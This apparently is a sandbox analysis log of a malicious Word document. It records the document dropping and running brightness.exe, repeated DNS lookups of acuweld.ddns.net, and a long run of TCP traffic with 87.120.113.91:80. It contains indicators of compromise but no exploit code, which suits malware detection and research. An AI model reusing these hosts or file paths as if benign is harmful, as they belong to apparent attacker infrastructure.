Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Windows\SysWOW64\brightness.exe

Jump to behavior

Document exploit detected (drops PE files)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: brightness.exe.0.dr

Jump to dropped file

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Process created: C:\Windows\SysWOW64\brightness.exe

Source: global traffic	DNS query: name: acuweld.ddns.net
Source: global traffic	DNS query: name: acuweld.ddns.net
Source: global traffic	DNS query: name: acuweld.ddns.net
Source: global traffic	DNS query: name: acuweld.ddns.net

Source: global traffic

TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80

Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 87.120.113.91:80
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 87.120.113.91:80 -> 192.168.2.4:49737
